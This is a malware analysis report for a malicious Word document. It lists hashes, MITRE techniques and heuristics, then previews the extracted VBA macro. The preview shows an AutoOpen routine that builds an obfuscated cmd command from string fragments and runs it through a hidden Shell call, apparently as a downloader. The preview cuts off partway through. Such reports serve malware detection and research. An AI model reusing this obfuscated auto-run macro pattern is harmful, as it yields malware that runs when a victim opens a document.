Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05f915802be3f0ac…

MALICIOUS

Office (OLE)

178.5 KB Created: 2018-07-26 13:31:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 964032f59b767e21958f1a2f19c09b19 SHA-1: a6a5ee1947e094ae7b252a29e1d8ce7c6fbf866f SHA-256: 05f915802be3f0ac41b7def08c13d0ed294ae4e305ba89f82dfa0afbd749fac0
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro attempts to use the Shell function to execute a command, indicating it's likely a downloader for a second-stage payload. The specific command constructed is too obfuscated to fully reconstruct, but the intent is clear.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33094 bytes
SHA-256: 9be147ce3e435128b408d2285c36e52fabd71eac98ec90b9409122e873b1ff4e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hBlmhVqiEGGD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   vHWMni = sCPlq
   psMPi = Atn(416)
   VUDZl = aJiGAk
   UKzAz = TOQMCH
   GjaqL = Sgn(YVQkZV)
   SzYiEF = CStr(2)
EKjLbin = "" + HIFcEQbM + KAssZNqEt + CVar("cm") + oovfDTqtl + wlANGKiDRpQSfu + KGRLzqFGON + SpsQSPvjXH + lmNvoj + PLvbIwvJwjQ + KnDmswsXW + vqnJXbiu + jUSFh + oajMwmtl + GuzhitX + cjiulST + HZGscNTWI + EdMYch + EEoUHXr + wJiuEON + FwOrT + wFsium + jJonSAI + OCwcjZh + IEpAHjwmT + DCObzoFfWw + QDKVA + tnMws + UnUalIsmq + XjzJM + sWnnSPHG + ZzYdEHhiRU + zuWiHnMCElB + CpkhpjsPTJh + hmiMNM + EatDdqIhH + vNaFpQSWsHS + fCumFHTAO + dAnIjbnjp + OMJqRuJwY + hRdKiukurH + ElqGABkOuEd + ipNIpipDu + jSsRhr + tAtjpikjSC + vQvKzYibjPw + InNQT + XtsshswM + jWBCSrXF
   sEOuQv = tMabNY
Shell@ EKjLbin, 0
   tCQSBT = Int(315)
   KOLTK = Sgn(vjiEW)
End Sub


Attribute VB_Name = "zclsCzDfTzz"
Function KGRLzqFGON()
On Error Resume Next
arwYM = Round(uQqpQ)
MVmHBCzEk = "d    " + "   " + "        " + "/c"
JCIEtb = Rnd(QqPphf)
   zwkIoh = 22514473
waZXtWOwfLk = "       " + "  " + "      F" + "OR /F " + CStr(Chr(wWVUVDjS + wTEiifmYcHoNK + 34 + SqkowlRCNEq + NXzjNGCjO)) + "del" + "ims=f"
WbsOt = Chr(825)
   PoYfn = Chr(EbisJ)
NHoSRUPaS = "hA to" + "kens=1" + CStr(Chr(nbCOrYlLprDM + qDiRrinVVKE + 34 + AEdsEjD + iCLpTiUZKL)) + " %f" + " IN ('" + "ftyp" + "e^|find " + CStr(Chr(XCYSWdt + sKjTlHM + 34 + ctcUUcFBKIAvAt + cBFahGJjQqscVi))
dvXcV = 6327
   fdGbtr = Hex(60753 / zDjzwi - jSWzs * tHIBi)
pltFVkvz = "md"
OwWOE = CByte(62276 - iYrTz)
   nDoJmV = CStr(2)
   lnAArW = Hex(77868 * znTWK)
rUqNlDAkE = "fi" + CStr(Chr(bLiKdDhv + SlQKrQiUIF + 34 + RWjsDdkdjb + UpLuVZUJNMoYS)) + "')DO %f  " + " /v:o" + "n    /R " + "   " + CStr(Chr(bwBaRACtLakzDL + qzXqCFjwilzLF + 34 + ZwiJiiBU + vzUkaQwdW)) + " " + " sEt "
KGRLzqFGON = MVmHBCzEk + waZXtWOwfLk + NHoSRUPaS + pltFVkvz + rUqNlDAkE
   BCEmJN = Log(7)
End Function
Function SpsQSPvjXH()
On Error Resume Next
iVkZjQ = Rnd(695)
dDZqzmTri = "}]_\=\-" + "_" + "_/-\"
aHdWSVDiXvB = "_" + "//\/-\- " + "__\///" + "--\_-/-"
zHmqIS = CByte(thuUzN)
   Jviqzu = Chr(GnGhj / LDaYfi)
   NlCUIk = 2862
zPTWOcz = "\\ \---" + "___\/\" + "/\/-/ _/-" + "\\-/-_\\" + "_//_ _/\\_" + "-/_/\\/--_"
iKkRUbGST = " _\_-" + "_-/\"
FBpzLoJhBj = "\" + "\//_-/ " + "/-"
ocjMG = CDbl(NlaHo)
   cBsRMo = Rnd(708)
   HlbTSt = WtABi
EXMLUAQWvs = "//_/\\__" + "\--\- \/\_" + "//_-\\" + "_/_" + "-- " + "-/\_--//_/"
SpsQSPvjXH = dDZqzmTri + aHdWSVDiXvB + zPTWOcz + iKkRUbGST + FBpzLoJhBj + EXMLUAQWvs
   vsaAH = wnGnzJ
   HdLDzP = IQCRlR
End Function
Function lmNvoj()
On Error Resume Next
tufiuP = IrcDj
JShQRJ = "-\\\_ " + "-//\_" + "/_\" + "_-\-_\- " + "-\_"
UuufiP = CLng(1)
uXFiPEuGw = "\-\/__/" + "/--" + "_/" + " -" + "\_--/" + "/-\/__\\/" + " \-"
oiXIW = Sin(11821 * XqqjjY + 8610 * nJLSD)
   zIpFQ = Hex(2)
KIjMYaO = "_/\/\" + "_" + "/_-\-/- \_"
VXOKXp = Tan(77620 / fIEjUj * 89959 * vrMnsd)
   ifNWkl = Log(zssVO)
CzcuEi = "_/\/_\" + "-" + "--/_" + "/- \_\///" + "_\__\/-" + "--" + " -/_/--"
KvrOf = CDbl(lXzoo)
   mRqrqC = ChrW(80669 * znnDs + nGwAES / RsEtw)
QTPwkfIzrt = "\-\\_" + "/_/\" + " _-/_/_-" + "_\" + "\\\" + "-/- " + "__--/_/\/-"
VtHvD = Int(377)
HswKAEs = "\/\\_}" + "/\-/-\\__\" + "_/-_/" + "}_\/-\/-"
NjVGCV = "/\-__" + "-\/{/-" + "__-" + "\/\/" + "_/--_\h_\/"
lmNvoj = JShQRJ + uXFiPEuGw + KIjMYaO + CzcuEi + QTPwkfIzrt + HswKAEs + NjVGCV
   GPJJMz = CSng(7563 * vzzwtd)
   tcERuV = Fix(48112 / zuZnJD / 91928 * 47299)
End Function
Function PLvbIwvJwjQ()
On Error Resume Next
plrjvuiqKJ = "\/-\/" + "-__/-\_c\" + "//_\--/" + "\_-_\_"
FNDZZ = ChrW(971)
   jXWuJX = 235612317
   PKNQQ = LrtjaD
RPYGc = "/t///\/_-" + "_\---" + "__\a/-_" + "\_" + "-//\\_/"
wKfBj = Int(1)
cpzuDAD = "-_\c_/" + "_\_" + "-/" + "\/-_-/\-}_" + "-/-" + "/_-/"
ndBObX
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